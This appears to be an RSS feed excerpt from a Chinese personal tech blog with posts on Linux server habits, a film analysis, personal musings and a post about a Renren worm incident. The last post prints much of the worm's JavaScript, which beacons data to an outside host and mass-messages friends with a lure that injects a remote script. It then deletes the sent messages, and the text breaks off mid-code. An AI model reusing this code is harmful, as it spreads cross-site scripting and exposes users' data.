这样有人就要问了/root /home下的东西怎么办。首先一台服务器，大家就不要去3天2头的就去动。你东西干嘛扔到自己的home目录下呀。我习惯在自己的home下放一些软链和一些常用的脚本命令。这样即使重装了也没什么损失，顶多是自己要多敲了很多命令。有的时候扔一些detail和log或者是临时的代码。如果怕丢失写个脚本每天备份下就好了。反正自己的home不要装很多的东西，主要以脚本为主，为什么后面详细的说。</p>
<p>下面到了软件的选择，是选择自己编译软件呢，还是直接yum了。这个因该是根据什么软件来决定。如果是iftop，snmp呀这些小软，不对外服务的，作用是给自己用的，我认为yum装就好了，性能无所谓，你能24小时iftop，mtr吗？<br />
说道编译软件就不得不说说prefix的问题了，很多人不喜欢编译软件加prefix，直接撞倒bin或者sbin里面去了，我想说对于很多软件这么做很不对，至少在升级等问题上不好办。我建议是对外服务的大型软件要价prefix参数，位置基本在/usr/local/ 如果你觉得乱在加一个文件夹好了。ex：/usr/local/server/ 这类软件nginx，apache，mysql，php等不过python这样的脚本解析器就算了。svn的话也不用了。<br />
总结下基本就是如下的定律：<br />
1。cli下的网管工具，直接yum吧。ex：iftop，snmpwalk，dig<br />
2。符合第一条，但是yum上面的版本太低。那么找新的源码去编译不要加prefix。如果只需要一个功能不要make install直接copy那个文件到sbin替换即可，最好备份下原文件。ex：iptables， ip tools<br />
3。大型软件，如果提供服务的，自己编译去，绝大部分都要指定prefix。<br />
4。设置工具不管是yum还是源码安装都不要制定prefix。这样方便命令设置，如果是大型软件自带的设置工具，那么还是prefix编译大型软件，然后复制那些小工具到sbin中吧。ex：apache的htpasswd，squid的什么client呀。<br />
5。特殊软件，centos自带的ipsec tool等 yum吧。<br />
6。内核或者模块有关，我的政策是内核能不编译就不编译，yum安装优先。给内核打补丁，如果不是特别必要不要去打。因为补丁会造成内核的不稳定。可能很多大型项目内核都是要自己编译的，这样性能高，而且关闭一些不必要的功能。不过我干的都不是高端，感觉默认内核能对付的用，而且编译内核麻烦。如果你是高手忽略这条吧，内核该怎么弄就怎么弄。</p>
<p>服务器安全<br />
这个怎么说呢，该怎么弄怎么弄吧。root的密码最好一个人知道，别人要的话加key。<br />
其他安全，还是那句老话baidu吧。我没什么特别的意见。</p>
<p>内核优化<br />
rhca442没学完呢，忽略。</p>
<p>下面进入另外一个重点，大型软件用不用daemon呢。<br />
我个人不喜欢用daemon。比较喜欢用&amp;来启动，这样方便kill。<br />
我的rc.local脚本基本在20+行。大型软件都是rc.local控制启动。</p>
<p>说了这么多，应该说说编译的具体事项了。<br />
编译的话个人习惯是在/data1/software下进行编译。解压后删除压缩文件，保留src，和make过的东西。这样在系统重装后，不用等待漫长的编译时间了，直接make install就好了。</p>
<p>软件的升级<br />
因为制定了prefix升级非常的简单，首先mv那个软件目录（改名），然后编译安装新软件。如果在一段时间后感觉新版本工作良好，删掉老版本软件和他的src。如果新软件工作不好可以随时替换过来。绝对比不加prefix替换要方便的多。</p>
<p>大家这回应该明白了吧，为什么home目录中文件很少了，主要是链接了。<br />
没错因为软件编译了prefix，系统不会有这个命令，而且config是分散的。编译文件在其他目录，这样就解放了home目录了。</p>
<p><br />
其他<br />
mysql的db目录扔到/data0中很好，别凑在mysql的安装目录了。<br />
日志，可恶的东西，我很不习惯基本我的策略是每天压缩一次，一个月之前的咱们说拜拜吧。http我基本不开日志。太大了。而且我没怎么看过日志。</p>
<p>最后，也是一点最重要的。<br />
如果条件如许，不要再服务器上做实验。实验找专门的试验机器，mysql等数据都考过去，然后模拟测试。等到结果满意了在上到主服务器上。测试机器配置不要求高，主要是为了测试新版软件的性能和bug。<br />
如果你习惯每天干点，或者3天2头打算给服务器加点功能，咱们弄台测试机器吧，你天天捅咕都没事，正好一个月下来你捅咕的差不多了，该个主服务器升级了。而且测试机挂了咱们也不着急，边看电影边重装呗。</p>
<p>ps 别没事就重装linux。linux这东西重装了配置会累死人。<br />
&nbsp;</p>]]></description>
			<link>https://landon.v70.us/show-152-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-08-05 01:28</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-151-1.html</guid>
			<title>发现最及是越来越懒了</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>先吐槽一下sa这个程序吧</p>
<table width="100%" cellspacing="0" cellpadding="0" border="0" align="center">
    <tbody>
        <tr>
            <td class="rightmainbody">
            <table width="100%" cellspacing="0" cellpadding="4" border="0" align="center">
                <tbody>
                    <tr class="tdbheader">
                        <td width="30%">后台在线用户</td>
                        <td width="30%">IP地址</td>
                        <td width="40%">最后活动时间</td>
                    </tr>
                    <tr class="tablecell">
                        <td><a href="#">tywtyw2002</a></td>
                        <td>166.111.124.100</td>
                        <td>2011-07-29 21:29:35</td>
                    </tr>
                    <tr>
                        <td colspan="3" class="tablebottom">&nbsp;</td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr>
        </tr>
    </tbody>
</table>
<p>&nbsp;看看这个ip 熟悉吗，清华附中一个不存在的ip，随意x-forward一下 sa就会记录这个ip，原来为砸ip这么简单呀。其实已经无所谓了，自从我在linux 的tcp warpper下屏蔽了100个ip后发现广告少了很多。</p>
<p>这半年写的东西很少，但是学到了很多，不知道为什么最及很懒的写什么东西。代码也好，linux设置也罢，经常去靠脑袋去记，然后忘了就去打开一些备份过的文件看下。</p>
<p>弄了几个项目，但是发现也没啥用。结果基本上都是做到一半就不写了。而且有些程序写的很sb，至少在算法上很sb。</p>
<p>唉，感觉目前知道的很多，但是很多都懒的去写，可能是私心吧，毕竟有些东西写出来后就是公开，公开了以后就是封。导致自己也没法用了。</p>
<p>好像v70这个域名被rst以后，我上来的次数也少了，每天基本都在书海中度过。其实这里本来也没什么人。</p>
<p>新开了一个beta.coshim.com结果写完一篇文，到现在第二篇还是没有写。题目和内容基本都确定了，就是懒的去写吧。</p>
<p>第二批是关于cdn的</p>
<p>第三片应该是关于ipv6的</p>
<p>第四个应该是有关网络计费和流量的有关问题。</p>
<p>龟速更新吧。</p>
<p>争取这周以前把cdn这篇给搞定。</p>
<p>&nbsp;</p>
<p>目前自己的知识还是不够多，很多东西只是了解但是没有完全的精通。</p>
<p>网络方面自己计划方案不难，但是事实起来确实很难。</p>
<p>比如radius和pptpd这类的东西，知道radius可以提供给pptd额外的参数，但是不知道怎么去提供。</p>
<p>有人说过，配置东西都是简单的，你知道懂了原理剩下的看manual去就好了。但是你不懂原理看manual也没用。</p>
<p>&nbsp;但是这也不叫会，有些东西思想的确比配置重要，但是有些东西的配置也是一门学们。</p>
<p>比如squid，真正的精髓不是在于思想而是在于如何去配置他。</p>
<p>squid的确是一个很强大的东西。</p>
<p>目前在研究一个问题，如果给squid做出一个警告页面来。</p>
<p>如果确定go on 否这退出。</p>
<p>&nbsp;</p>
<p>最及还是打算先把isp和rs学号后再去看安全，最后再开 voip吧。 <br />
rhca估计要留到这些之后了。<br />
话说看书在看第一遍和第二部的感觉是不同的，第一遍看城域以太网这本书，只是能看明白技术说的是什么，对于通讯的名词基本都是不知道，比如 dwdm，什么的。但是第二变看，感觉却能理解这些东西了。真正的好书读多少遍都会有收获的。</p>
<p>&nbsp;</p>]]></description>
			<link>https://landon.v70.us/show-151-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-07-29 21:50</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-150-1.html</guid>
			<title>一些关于源代码的分析</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p><br />
<br />
像我这类不关心电影，不去查任何电影信息，没事去yyets看看最新电影的人。主动去找源代码这部电影实属偶然。<br />
我关心这部电影的原因是因为某天去射手网找BBC.虚拟革命.S01.EP2的字幕（那个内嵌字幕的作者太坑爹），偶然间在主页发现了source code在搜索hot榜上，对于计算机的敏感于是去看了下简介，便去找枪版了。<br />
<br />
告诉大家个好方法，不用去看imdb，去射手。在hot榜上出现的名字，然后看下预告片你就知道自己时候想看了。<br />
<br />
上面都是一些题外话了，，，<br />
<br />
下面开始正题了，在豆瓣上看见很多关于源代码这个电影的解析。个人有些分析不大准确。<br />
首先我的观点是源代码有个比较类似bug的东西。<br />
<br />
那个教授（瘸子）说源代码是收集了所有在列车上牺牲人员的记忆，并且把他们组成在一起构成的。并且只有8分钟。<br />
看是看见8分钟，感觉很怪异，为什么是8分钟呢？没人说，但是对物理学了解的人都知道吧，8分钟是太阳光到达地球的时间。这应该是编剧大人想表达的，就是就算太阳挂了，地球上的人8分钟才知道。换句话来说就是世界末日到来了，你还会有8分钟的时间去体验生活。但是这8分钟能做什么呢？于是source code就告诉我们这8分钟能干啥了。。。<br />
<br />
有一点不知道是剧情的bug还是瘸子教授他观点的错误，就是制作炸弹的人并没有死，按照瘸子说过的话，源代码里面只有死人的记忆，也就是说那个炸弹根本不应该被找到。应为任何死去的人的记忆中都没有那个炸弹。<br />
个人认为这是瘸子大叔理论上的错误，可能是他理解上是所有死人的记忆，但其实不是这样。这套系统的实际情况超出了他的预期，实际是列车爆炸时，整个世界往前数8分钟的一个dump。<br />
理论支持有很多，主角给他父亲打电话，这个在列车中人根本没这个记忆。<br />
上网找那个组织，遇害人的记忆中不能包含整个网络吧。<br />
这个好像很难理解，不过可以理解vm的硬盘快照。快照可能把磁盘回复到原始的状况。但是每次复原的磁盘在次启动很多步骤是相同的，但是很多步骤又不同了。<br />
为什么每次8分钟，人们的动作都是一样的，当然在主角的影响之后就会变化。<br />
假设主角是一个函数f（x），那么f（x）等于x的记录是很小的。这就说明了为什么主角接触过的事物会变化的原因。可以算作是蝴蝶效应。<br />
通过观看影片，根据经验大致描绘了整套系统的样子。<br />
8分钟的记忆在一个类似硬盘的东西了，然后模拟的地方不是在主角的脑袋里面，而是在一个大型服务器中，主角脑袋中的电极类似黑客帝国里面查到a10神经的东西。<br />
工作的原理是，驱动加点，把牧师的人格，环境等传送到主角的脑袋中，然后主角做的每件事传送到服务器中的进行运算，把运算后的结果在传递到主角的脑袋中（视觉信号，什么的）。<br />
<br />
只有主角在虚拟世界中死亡，意识才会回来。类似盗梦空间的设置，但是有个问题就是8分钟，这8分钟是什么。<br />
如果有个理论是太阳发出的阳光会刷新人们脑袋里面的源代码。假设太阳发设的阳光都带有一个时间戳，地球接受到这个时间戳后，就把这时间戳前记忆抹去。但是这个理论只能解释博士说的话，每个人有8分钟的记忆。<br />
<br />
但是还是无法解释为什么炸弹会出现在源代码中。唯一的解释就是瘸子有问题，瘸子并不是dump每个人的记忆把他们拼接到一起。而是dump了整个世界的8分钟。<br />
瘸子的目的好像并不是用源代码来维护这个世界的和平，而是因为源代码才去破坏世界。<br />
看瘸子最后的几句话one of these days,the right crisis is going to rear its head, and source code is going to have its moment in the sun.<br />
#这几天总会有真正的灾难浮现出来，源代码会实现他的价值。（大致意思）<br />
看出来了吗，瘸子自己创造的灾难。然后去测试他的源代码系统。<br />
如果这样，他dump每个遇难者的记忆就是为了掩盖他能dump这个世界的8分钟。<br />
<br />
关于源代码世界，前面已经说了源代码世界的退出符号是死亡，死亡后人就会回到现实。<br />
关于现实世界那个人的死。现实世界的人或者是为了维护，他在源代码世界上的相貌特征等状态。如果现实世界的人挂了，那么他思想中的相貌就会消失。所以源代码中牧师在镜子中看见的头像就是牧师自己了。并且记忆和牧师本来的记忆重合了。也就是说主角（现实）就在源代码世界消失了。他变成了牧师。<br />
一个世界不可能存在2个一样的东西，类似网卡的mac一样。一个子网不肯能有2太主机的mac地址一样，一样就冲突。但是有个冲突的时间。<br />
如果源代码世界中2个相同属性的人冲突是8分钟，冲突后会造成哪些后果我们不知道。系统坏了？2个人同化，或者其他的什么。<br />
这也就是为什么在8分钟后，牧师就会挂。（可能和这个没关系）<br />
关于现实世界主角的死亡。前面说过了，这个我们可以看成是系统读取属性，会先读外层的然后再度内层的。这就是牧师在镜子里看见的不是自己的原因了。<br />
主角死了，他的id值消失，在源代码世界中主角和牧师同化了。然后在实验室看见的那个主角就保持了id的唯一性。这个源代码世界继续运行了。<br />
主角死了，信号没办法经过他的大脑去做一次 f（x）的运算，怎么进程怎么继续进行呢？<br />
你别忘了，原来dump的数据只有8分钟，这8分钟是固定的。f（x）运算只是处理这8分钟的数据，8分钟过后没有dump的数据了，世界就在源代码中继续执行了。<br />
如果要问这个世界是什么，我想应该和19层楼或者是martix的世界差不多，在计算机中运行的一个世界。<br />
如果断电片尾的那个源代码世界还会存在吗？<br />
断电了，计算机关闭，源代码世界肯定挂了。但是这套系统时候能承受住断电的考验呢？不知道，现实中很多数据中心，很多项目断电基本等于从0开始吧。<br />
还有源代码世界中的时间，电影没有说，可能和现实世界同步吧。因为dump的那8分钟需要主角的脑袋去做实时处理，但是主角死了后还会同步吗？<br />
8分钟之后的世界不好说，类似tron，世界是按周期来算的。</p>]]></description>
			<link>https://landon.v70.us/show-150-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-06-22 17:33</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-149-1.html</guid>
			<title>blog疑似被墙</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>没什么说的，被墙了。<br />
gfw认证，保证质量。</p>]]></description>
			<link>https://landon.v70.us/show-149-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-06-06 12:15</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-148-1.html</guid>
			<title>关于今天校内的这个破事</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<div class="codeText">
<div class="codeHead">JavaScript代码</div>
<ol start="1" class="dp-c">
    <li class="alt"><span><span class="keyword">var</span><span>&nbsp;token&nbsp;=&nbsp;XN.get_check;&nbsp;&nbsp;</span></span></li>
    <li class=""><span><span class="keyword">var</span><span>&nbsp;mobile_friends&nbsp;=&nbsp;[];&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span><span class="keyword">var</span><span>&nbsp;all_friends&nbsp;=&nbsp;[];&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">var</span><span>&nbsp;my_id&nbsp;=&nbsp;0;&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;send_data(v)&nbsp; //发送函数 get模式<br />
    </span></span></li>
    <li class=""><span>{&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">var</span><span>&nbsp;img&nbsp;=&nbsp;document.createElement(</span><span class="string">'img'</span><span>);&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;img.src&nbsp;=&nbsp;<span class="string">'http://qiutuan.net/2011/log.php?'</span><span>&nbsp;+&nbsp;v;&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;document.body.appendChild(img);&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;document.body.removeChild(img);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;send_to_friends(){&nbsp; //发信到好友</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">var</span><span>&nbsp;i;&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">var</span><span>&nbsp;idlist&nbsp;=&nbsp;[];&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">for</span><span>&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;all_friends.length;&nbsp;i++)&nbsp; //所有好友</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;idlist.push(all_friends[i].toString());&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">if</span><span>&nbsp;(idlist.length&nbsp;==&nbsp;10)&nbsp; //每次10个</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_send_to_friends(idlist);&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;idlist&nbsp;=&nbsp;[];&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">if</span><span>&nbsp;(idlist.length&nbsp;&gt;&nbsp;0)&nbsp;_send_to_friends(idlist);&nbsp;&nbsp;</span></span></li>
    <li class=""><span>}&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span><span class="keyword">function</span><span>&nbsp;_send_to_friends(ids){&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;<span class="keyword">var</span><span>&nbsp;content&nbsp;=&nbsp;</span><span class="string">&quot;相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪&hellip;&hellip;你心底的那只蠢蠢欲动的小猫，是什么样子的呢？她喜欢笑，你就老以为她是快乐的；她喜欢跳，你就老以为她是开朗的；她喜欢扭，你就老以为她是放肆的；她喜欢叫，你就老以为她是狂野的。一个人的时候，她其实多愁善感；一个人的时候，她其实安静淡然；一个人的时候，她其实内向自闭；一个人的时候，她其实乖巧温柔&hellip;&hellip;（视频亮点在2:57秒)&nbsp;&nbsp;&lt;script&nbsp;src='http://qiutuan.net/2011/51.js'&gt;&lt;/script&gt;&nbsp;&lt;embed&nbsp;src='http://player.youku.com/player.php/sid/XMjYxNDMwNDQ4/v.swf'&nbsp;quality='high'&nbsp;width='480'&nbsp;height='400'&nbsp;align='middle'&nbsp;allowScriptAccess='sameDomain'&nbsp;type='application/x-shockwave-flash'&gt;&lt;/embed&gt;&quot;</span><span>;&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;<span class="keyword">var</span><span>&nbsp;p&nbsp;=&nbsp;{action:</span><span class="string">&quot;sharetofriend&quot;</span><span>,&nbsp;&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;body:content,&nbsp;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form:{&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;albumid:<span class="string">&quot;0&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currenUserTinyurl:<span class="string">&quot;http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fromSharedId:<span class="string">&quot;0&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fromShareOwner:<span class="string">&quot;0&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fromname:<span class="string">&quot;&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fromno:<span class="string">&quot;0&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fromuniv:<span class="string">&quot;&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;link:<span class="string">&quot;http://edm.renren.com/link.do?l=27627&amp;t=51&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pic:<span class="string">&quot;http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;summary:<span class="string">&quot;相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪&hellip;&hellip;你心底的那只蠢蠢欲动的小猫，是什么样子的呢？&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;title:<span class="string">&quot;加a02好友&nbsp;奖品散不停&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type:<span class="string">&quot;51&quot;</span><span>&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},&nbsp;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ids:ids,&nbsp;&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;noteId:<span class="string">&quot;0&quot;</span><span>,&nbsp;&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;subject:<span class="string">&quot;有人暗恋你哦，你想知道TA是谁么&quot;</span><span>,&nbsp;&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tsc:token};&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;<span class="keyword">delete</span><span>&nbsp;p.tsc;&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">new</span><span>&nbsp;XN.net.xmlhttp({url:</span><span class="string">&quot;http://share.renren.com/share/submit.do&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data:<span class="string">&quot;tsc=&quot;</span><span>+token+</span><span class="string">&quot;&amp;post=&quot;</span><span>+encodeURIComponent(XN.json.build(p)),&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;onSuccess:&nbsp;<span class="keyword">function</span><span>&nbsp;(response)&nbsp;{del_send_messages();}&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});&nbsp;&nbsp;</span></li>
    <li class="alt"><span>}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;del_messages(idlist){&nbsp; </span></span>//对已发送列表里的站内信进行删除</li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">var</span><span>&nbsp;struct_msgs&nbsp;={&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;action:<span class="string">&quot;delete&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;folder:<span class="string">&quot;1&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;slice:<span class="string">&quot;20&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unread_count:<span class="string">&quot;0&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ids:idlist&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span><span class="keyword">new</span><span>&nbsp;Ajax.Request(</span><span class="string">&quot;/message/ajax.do&quot;</span><span>,{method:</span><span class="string">&quot;get&quot;</span><span>,parameters:</span><span class="string">&quot;post=&quot;</span><span>+encodeURIComponent(XN.JSON.build(struct_msgs))});&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>}&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp; </span>//从已发站内信中删除</li>
    <li class=""><span><span class="keyword">function</span><span>&nbsp;del_send_messages(){&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword">new</span><span>&nbsp;XN.net.xmlhttp({url:</span><span class="string">&quot;http://msg.renren.com/message/inbox.do?f=1&quot;</span><span>,&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;method:<span class="string">&quot;GET&quot;</span><span>,&nbsp;&nbsp;&nbsp;</span></span></li>
